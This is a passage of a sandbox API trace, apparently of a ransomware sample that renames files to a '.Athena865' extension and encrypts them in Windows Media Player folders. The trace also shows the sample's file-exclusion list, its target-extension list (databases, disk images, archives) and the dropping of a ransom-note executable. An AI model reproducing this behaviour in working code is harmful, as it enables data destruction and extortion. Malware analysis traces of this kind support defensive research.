(HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.069] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.069] CloseHandle (hObject=0x154) returned 1 [0091.069] CloseHandle (hObject=0x17c) returned 1 [0091.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.070] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898f4b97, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x898f4b97, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2=".") returned 1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="..") returned 1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="windows") returned -1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="bootmgr") returned 1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="temp") returned -1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="pagefile.sys") returned -1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="boot") returned 1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="ids.txt") returned -1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="ntuser.dat") returned -1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="perflogs") returned -1 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2="MSBuild") returned -1 [0091.070] lstrlenW (lpString="DMR_48.png") returned 10 [0091.070] lstrcpyW (in: lpString1=0x241e8b2, lpString2="DMR_48.png" | out: lpString1="DMR_48.png") returned="DMR_48.png" [0091.070] lstrlenW (lpString="DMR_48.png") returned 10 [0091.070] lstrlenW (lpString="Athena865") returned 9 [0091.070] lstrcmpiW (lpString1="MR_48.png", lpString2="Athena865") returned 1 [0091.070] lstrlenW (lpString=".dll") returned 4 [0091.070] lstrcmpiW (lpString1="DMR_48.png", lpString2=".dll") returned 1 [0091.070] lstrlenW (lpString=".lnk") returned 4 [0091.071] lstrcmpiW (lpString1="DMR_48.png", lpString2=".lnk") returned 1 [0091.071] lstrlenW (lpString=".ini") returned 4 [0091.071] lstrcmpiW (lpString1="DMR_48.png", lpString2=".ini") returned 1 [0091.071] lstrlenW (lpString=".sys") returned 4 [0091.071] lstrcmpiW (lpString1="DMR_48.png", lpString2=".sys") returned 1 [0091.071] lstrlenW (lpString="DMR_48.png") returned 10 [0091.071] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png.Athena865") returned 73 [0091.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png.athena865"), dwFlags=0x1) returned 1 [0091.072] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.072] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4265) returned 1 [0091.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.073] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.073] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.073] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.073] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13b0, lpName=0x0) returned 0x154 [0091.075] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13b0) returned 0x100000 [0091.078] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.079] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.079] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0091.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0091.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.079] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.080] CloseHandle (hObject=0x154) returned 1 [0091.080] CloseHandle (hObject=0x17c) returned 1 [0091.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.080] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfb97e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbfb97e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0091.080] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0091.080] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".") returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="..") returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="windows") returned -1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="bootmgr") returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="temp") returned -1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="pagefile.sys") returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="boot") returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="ids.txt") returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="ntuser.dat") returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="perflogs") returned 1 [0091.080] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="MSBuild") returned 1 [0091.080] lstrlenW (lpString="RenderingControl.xml") returned 20 [0091.080] lstrcpyW (in: lpString1=0x241e8b2, lpString2="RenderingControl.xml" | out: lpString1="RenderingControl.xml") returned="RenderingControl.xml" [0091.080] lstrlenW (lpString="RenderingControl.xml") returned 20 [0091.081] lstrlenW (lpString="Athena865") returned 9 [0091.081] lstrcmpiW (lpString1="ntrol.xml", lpString2="Athena865") returned 1 [0091.081] lstrlenW (lpString=".dll") returned 4 [0091.081] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".dll") returned 1 [0091.081] lstrlenW (lpString=".lnk") returned 4 [0091.081] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".lnk") returned 1 [0091.081] lstrlenW (lpString=".ini") returned 4 [0091.081] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".ini") returned 1 [0091.081] lstrlenW (lpString=".sys") returned 4 [0091.081] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".sys") returned 1 [0091.081] lstrlenW (lpString="RenderingControl.xml") returned 20 [0091.081] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml.Athena865") returned 83 [0091.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml.athena865"), dwFlags=0x1) returned 1 [0091.082] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.082] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6363) returned 1 [0091.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.082] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.083] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.083] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.083] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1be0, lpName=0x0) returned 0x154 [0091.084] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1be0) returned 0x100000 [0091.085] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.086] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.086] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0091.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0091.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.087] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.087] CloseHandle (hObject=0x154) returned 1 [0091.087] CloseHandle (hObject=0x17c) returned 1 [0091.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.087] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0 [0091.087] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0091.087] ReleaseMutex (hMutex=0xec) returned 1 [0091.087] CloseHandle (hObject=0xec) returned 1 [0091.087] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Media Player\\Network Sharing" | out: lpString1="C:\\Program Files\\Windows Media Player\\Network Sharing") returned="C:\\Program Files\\Windows Media Player\\Network Sharing" [0091.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f7d8 | out: hHeap=0x4f0000) returned 1 [0091.088] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing") returned 53 [0091.088] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\410351274279E437262D5549E5F4D864") returned 0xec [0091.088] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0091.088] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\Network Sharing" | out: lpString1="C:\\Program Files\\Windows Media Player\\Network Sharing") returned="C:\\Program Files\\Windows Media Player\\Network Sharing" [0091.088] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0091.088] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\network sharing\\how to back your files.exe"), bFailIfExists=1) returned 0 [0091.088] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\network sharing\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0091.089] GetLastError () returned 0x0 [0091.089] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0091.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0091.089] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0091.089] CloseHandle (hObject=0xf4) returned 1 [0091.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0091.090] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0091.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfbe40c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbfbe40c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0091.090] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.090] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.090] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0091.090] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfbe40c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbfbe40c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.090] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.090] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.090] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0091.090] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0091.090] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2=".") returned 1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="..") returned 1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="windows") returned -1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="bootmgr") returned 1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="temp") returned -1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="pagefile.sys") returned -1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="boot") returned 1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="ids.txt") returned -1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="ntuser.dat") returned -1 [0091.090] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="perflogs") returned -1 [0091.091] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2="MSBuild") returned -1 [0091.091] lstrlenW (lpString="ConnectionManager.xml") returned 21 [0091.091] lstrcpyW (in: lpString1=0x241e8b4, lpString2="ConnectionManager.xml" | out: lpString1="ConnectionManager.xml") returned="ConnectionManager.xml" [0091.091] lstrlenW (lpString="ConnectionManager.xml") returned 21 [0091.091] lstrlenW (lpString="Athena865") returned 9 [0091.091] lstrcmpiW (lpString1="nager.xml", lpString2="Athena865") returned 1 [0091.091] lstrlenW (lpString=".dll") returned 4 [0091.091] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2=".dll") returned 1 [0091.091] lstrlenW (lpString=".lnk") returned 4 [0091.091] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2=".lnk") returned 1 [0091.091] lstrlenW (lpString=".ini") returned 4 [0091.091] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2=".ini") returned 1 [0091.091] lstrlenW (lpString=".sys") returned 4 [0091.091] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2=".sys") returned 1 [0091.091] lstrlenW (lpString="ConnectionManager.xml") returned 21 [0091.091] lstrlenW (lpString="bak") returned 3 [0091.091] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0091.091] lstrlenW (lpString="ba_") returned 3 [0091.091] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0091.091] lstrlenW (lpString="dbb") returned 3 [0091.091] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0091.091] lstrlenW (lpString="vmdk") returned 4 [0091.091] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0091.091] lstrlenW (lpString="rar") returned 3 [0091.091] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0091.091] lstrlenW (lpString="zip") returned 3 [0091.091] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0091.091] lstrlenW (lpString="tgz") returned 3 [0091.091] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0091.091] lstrlenW (lpString="vbox") returned 4 [0091.092] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0091.092] lstrlenW (lpString="vdi") returned 3 [0091.092] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0091.092] lstrlenW (lpString="vhd") returned 3 [0091.092] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0091.092] lstrlenW (lpString="vhdx") returned 4 [0091.092] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0091.092] lstrlenW (lpString="avhd") returned 4 [0091.092] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0091.092] lstrlenW (lpString="db") returned 2 [0091.092] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0091.092] lstrlenW (lpString="db2") returned 3 [0091.092] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0091.092] lstrlenW (lpString="db3") returned 3 [0091.092] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0091.092] lstrlenW (lpString="dbf") returned 3 [0091.092] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0091.092] lstrlenW (lpString="mdf") returned 3 [0091.092] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0091.092] lstrlenW (lpString="mdb") returned 3 [0091.092] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0091.092] lstrlenW (lpString="sql") returned 3 [0091.092] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0091.092] lstrlenW (lpString="sqlite") returned 6 [0091.092] lstrcmpiW (lpString1="er.xml", lpString2="sqlite") returned -1 [0091.092] lstrlenW (lpString="sqlite3") returned 7 [0091.092] lstrcmpiW (lpString1="ger.xml", lpString2="sqlite3") returned -1 [0091.092] lstrlenW (lpString="sqlitedb") returned 8 [0091.092] lstrcmpiW (lpString1="ager.xml", lpString2="sqlitedb") returned -1 [0091.092] lstrlenW (lpString="xml") returned 3 [0091.092] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0091.092] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml.Athena865") returned 85 [0091.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml.athena865"), dwFlags=0x1) returned 1 [0091.093] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.094] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5422) returned 1 [0091.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.094] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.095] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, 